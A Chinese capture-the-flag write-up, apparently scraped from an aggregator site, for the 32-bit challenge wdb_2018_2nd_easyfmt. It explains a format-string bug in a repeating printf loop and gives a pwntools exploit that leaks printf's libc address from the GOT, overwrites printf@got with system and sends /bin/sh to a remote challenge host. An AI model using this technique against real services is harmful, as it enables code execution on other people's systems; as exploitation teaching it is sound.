当前位置: 首页 > news >正文

wdb_2018_2nd_easyfmt

wdb_2018_2nd_easyfmt

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8047000)

32位只开了NX

这题get到一点小知识(看我exp就知道了

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{char buf; // [esp+8h] [ebp-70h]unsigned int v4; // [esp+6Ch] [ebp-Ch]v4 = __readgsdword(0x14u);setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);puts("Do you know repeater?");while ( 1 ){read(0, &buf, 0x64u);printf(&buf);putchar(10);}
}

程序很简单,格式化字符串漏洞,并且无限使用

没有system函数

思路

泄露libc,用libc@system改掉printf@got,然后输入/bin/sh

libc=ELF('libc-2.23_32.so')
#from pwn import*
#from Yapack import *
r,elf=rec("node4.buuoj.cn",29463,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
#debug('b *0x80485ca')
#debug('b *$rebase(0x1373)')pl=p32(elf.got['printf'])+b'%6$s'
sla(b'epeater?',pl)
leak = u32(r.recvuntil('\xf7')[-4:])-libc.sym['printf']
li(leak)
sys=system(leak)
pl=fmtstr_payload(6,{elf.got['printf']:sys})
sl(pl)
sl(b'/bin/sh\x00')#debug()
ia()

一开始看栈里面没有合适的libc泄露
在这里插入图片描述

,我们从栈上面写got,泄露libc

在这里插入图片描述

,我们从栈上面写got,泄露libc

这样我们就有libc,就可以写libc@system了
在这里插入图片描述

http://www.lryc.cn/news/179048.html

相关文章:

  • 服务器数据恢复-zfs下raidz多块磁盘离线导致服务器崩溃的数据恢复案例
  • 云服务器 CentOS7 操作系统上安装Jpress (Tomcat 部署项目)
  • 【Linux】完美解决ubuntu18.04下vi不能使用方向键和退格键
  • Android studio “Layout Inspector“工具在Android14 userdebug设备无法正常使用
  • Kafka(一)使用Docker Compose安装单机Kafka以及Kafka UI
  • 网络知识点之-MSTP平台
  • Azure AD混合部署,通过 Intune 管理设备,实现条件访问
  • 2023/09/30
  • 顶级人工智能会议接收率及信息
  • NLP 01(介绍)
  • 网页采集工具-免费的网页采集工具
  • 【自监督Re-ID】ICCV_2023_Oral | ISR论文阅读
  • ElasticSearch 10000条查询数量限制
  • 视频增强修复工具Topaz Video AI mac中文版安装教程
  • 【面试题精讲】Java自增自减运算符
  • 282_WEB_对于注册、数据data_callback中进行处理的理解
  • 测试C#图像文本识别模块Tesseract的基本用法
  • 计组+系统02:30min导图复习 存储系统
  • 2023华为杯数学建模D题-域碳排放量以及经济、人口、能源消费量的现状分析(如何建立指标和指标体系1,碳排放影响因素详细建模过程)
  • Excel·VBA分列、字符串拆分
  • 机器学习算法基础--层次聚类法
  • linux系统中wifi移植方法
  • Machine Learning(study notes)
  • centos7通过docker搭建nginx+php环境
  • Node.js 学习笔记
  • RabbitMQ之发布确认高级
  • lv5 嵌入式开发-10 信号机制(下)
  • 【postgresql】 ERROR: multiple assignments to same column “XXX“
  • 一文读懂Llama 2(从原理到实战)
  • 完整指南:如何使用 Node.js 复制文件